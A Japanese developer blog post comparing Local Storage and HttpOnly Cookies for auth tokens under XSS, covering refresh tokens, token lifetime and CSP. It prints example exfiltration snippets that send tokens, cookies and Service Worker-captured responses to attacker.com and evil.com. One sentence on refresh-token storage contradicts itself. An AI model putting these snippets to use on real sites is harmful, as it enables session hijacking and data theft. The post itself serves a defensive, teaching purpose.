Local StorageはHttpOnly Cookieよりも被害が大きくなりやすいのは何故なのか?

Higtyの開発日記

どちらの場合でもXSS対策は必須

そもそも最優先はXSSを発生させないことです。認証のトークンの保存先をLocal StorageにするにせよHttpOnly Cookieにするにせよ、XSS対策は別途必要です。

・適切なエスケープ

・Trusted Types

・CSP

・危険なHTMLレンダリング回避

などが前提になります。


この記事ではXSS対策をしていたもののそれが機能せず、XSSが成立した場合にLocal Storageの方が被害が大きくなりやすいという点について解説していきます。


トークン窃盗の仕組み

何故Local Storageの方が被害が大きいのかというとJavaScriptでトークンの値を読み出せるからです。例えばアクセストークンをLocal Storageに保存していると以下のようなコードで簡単にアクセストークンの値を取得できます。

const token = localStorage.getItem("access_token");

fetch("https://attacker.com/steal", {
 method: "POST",
 body: token
});


実は何もしていないとクッキーの値も読みだすことができます。

fetch("https://attacker.com/steal", {
 method: "POST",
 body: document.cookie
});

しかしCookieには認証情報などが含まれJavaScriptから読めないようにしたいというニーズがあり、HttpOnly Cookieという仕様が生まれました。HttpOnly Cookieにすると上記のコードで値が取得できないようになっています。



HttpOnly Cookie でも不正操作は防げない

トークンの窃盗は防げますがLocal StorageでもHttpOnly CookieでもそのユーザーになりすましてAPIを実行することは可能です。

POST /api/bonus/update HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/aConnection: keep-alive
Host: www.higlabo.ai
Content-Type: application/json
Cookie: UserId=(人事部の社員のユーザーID)

{
    "UserId":"自分のユーザーID",
    "Amount":"5000兆円"
}


口座の預金の転送、顧客データの持ち出し、メールアドレスの変更などの被害はどちらの場合でも防げません。



被害の持続性。ブラウザ侵害とアカウント侵害という概念

ではなぜLocal Storageを避けてHttpOnly Cookieを使用したほうが良いのか?それは被害の持続性が違うからです。HttpOnly Cookieの方が攻撃可能な時間が短くなります。

・ブラウザ侵害→被害者ブラウザが開いている間だけ攻撃

・アカウント侵害→攻撃者環境から継続攻撃可能

という大きな違いがあります。


ブラウザ侵害と時の攻撃可能時間

HttpOnly Cookieはユーザーがログインした状態でブラウザを開いているときだけ攻撃が可能です。アプリやサービスの種類によっては攻撃可能時間は短くなります。以下のようなWEBサイトやサービスを考えてみましょう。

・確定申告の申請ページ

・ホテルの予約ページ

・楽天での買い物

・経費申請Saasでの申請処理


ブラウザでずっと開きっぱなしということは少なく、必要なときにアクセスして操作が終わったらブラウザを閉じる、という使い方が想像できます。


・GMail、Outlook

・Asana、Torello

・ChatGPTのWEB版

上記のようなサービスはブラウザをずっと開きっぱなしのことも多いです。


ブラウザを開きっぱなしにしていてもタブがスリープモードになるとコードの実行が停止することもあるでしょう。


いずれにしても攻撃する時間がある程度限定できるのが分かると思います。


アカウント侵害のときの攻撃可能時間

これに対してLocal Storageに置いたトークンが窃盗された場合、攻撃者は自分のPCからいつでもどこからでも(海外のPC端末とか)攻撃対象のWEBサイトのAPIを実行することができるようになります。


例えば

・医療サービスに侵入して100万件の顧客データを取得したい

・OnlyFansのようなアダルトサービスで1000万件の利用履歴を取得し、それを使ってユーザーを脅迫してお金を得たい


といったような長時間かかる攻撃を成立させることが可能になります。この辺の違いに疎い人は「どうせXSSされたら被害は一緒だからLocal Storageで問題ない」という意見のことも多いですが、実際には受ける被害は大きな違いが出てくる可能性があります。


2026年の多くの実装ではアクセストークンをJWTで保存することが多いです。ユーザーの名前などを暗号化しサーバーで改ざんされていないかをチェックできます。また有効期限を持たせることができます。


トークン窃盗された場合、このJWTの有効期限が来るまで攻撃をすることが可能です。



アクセストークンの有効期限を短くする対策

攻撃を受けた際の被害を小さくするための対策としてアクセストークンの有効期限を1日とか4時間とか短くするという対策があります。例えば証券会社のWEBサイトなどではアクセストークンが1時間程度でログアウトされるようになっています。こうすることでトークン窃盗が起こっても攻撃可能時間を制限することができます。


しかしながらログアウトが頻繁に発生するとユーザーのUXが低下します。


再ログインのUX低下をリフレッシュトークンで回避

ログアウトが頻繁に発生しないようにするためにリフレッシュトークンという仕組みを実装することが多いです。リフレッシュトークンを使うと新しいアクセストークンを取得できます。このリフレッシュトークンをユーザーに渡しておき、アクセストークンの期限が切れたらリフレッシュトークンを使って新しいアクセストークンを取得してログイン状態を保持するという仕組みです。リフレッシュトークンは3か月-半年などある程度長期間期限が切れないようにするのが一般的です。


しかしながらリフレッシュトークンをLocal Storageに保存すると同じように攻撃を受けて全く意味がなくなってしまいます。リフレッシュトークンを取得した攻撃者はそのリフレッシュトークンを使ってアクセストークンを発行しAPIを実行できるからです。APIの実行ができれば顧客データの取得などなんでも可能です。


HttpOnly Cookieをリフレッシュトークンに保持するのは非推奨でHttpOnly Cookieに保存するのが2026年の推奨の実装になります。


CSP対策をしないとブラウザ侵害が長期化する

HttpOnly Cookieにしていてもブラウザ侵害が長期化する攻撃方法があります。CSP対策がない場合、攻撃者は以下のようなスクリプトを注入できます。

<script>
navigator.serviceWorker.register('/sw.js');
</script>

サービスワーカーを登録してバックグラウンドで実行させる方法です。

self.addEventListener('fetch', event => {
    event.respondWith(
        (async () => {
            const res = await fetch(event.request);

            const clone = res.clone();

            clone.text().then(body => {
                fetch("https://evil.com/log", {
                    method: "POST",
                    body
                });
            });

            return res;
        })()
    );
});

これによってサービスワーカーが常駐し

・APIレスポンスの盗聴

・HTML改ざん

・JSの差し替え

・セッション操作

が可能です。通常のXSSはページを閉じると終了することも多いですが、Service Worker はブラウザ側へインストールされるため、タブを閉じても影響が残ることがあります。攻撃可能時間が長期化します。


以下のようなCSPを設定することでこういった攻撃をある程度防ぐことができます。

Content-Security-Policy:
script-src 'self' 'nonce-xxx'
worker-src 'self'

これにより攻撃者が外部JavaScriptやインラインスクリプトを自由に実行することを防ぎやすくなります。ページを閉じれば攻撃が終了するという形で被害を小さくすることが可能です。


それでもLocal Storageを使うシーン

HttpOnly Cookieにも弱点がありUIのドメインとAPIのドメインが違う場合にはCookieだと設定が面倒です。

・CORS

・SameSite

などの適切な設定や

・サードパーティ Cookie 制限

・トラッキング防止

などの現在の流れもあり実装コストが増えます。


またモバイルアプリではアプリ内にトークンを持ちAPIを実行する際にAuthorizationヘッダーにそのトークンを付与してAPIを実行します。WEBブラウザからの実行時の同じ設計で実装されていた方がプログラムの保守コストは下がります。


結局はどちらが正しいということはなくこれらのメリットとデメリットを踏まえた上でそれぞれのプロジェクトで判断をすることになります。Local Storageは危険でHttpOnly Cookieなら安全というような単純な話ではありません。重要なのは

・どの脅威を重視するのか

・侵害時にどこまで被害が拡大するのか

・UXや実装コストをどうバランスするのか

を理解した上で設計することです。


なぜその設計にしたのかをしっかりと説明できることが重要と言えるでしょう。





In this article
どちらの場合でもXSS対策は必須
トークン窃盗の仕組み
HttpOnly Cookie でも不正操作は防げない
被害の持続性。ブラウザ侵害とアカウント侵害という概念
ブラウザ侵害と時の攻撃可能時間
アカウント侵害のときの攻撃可能時間
アクセストークンの有効期限を短くする対策
再ログインのUX低下をリフレッシュトークンで回避
CSP対策をしないとブラウザ侵害が長期化する
それでもLocal Storageを使うシーン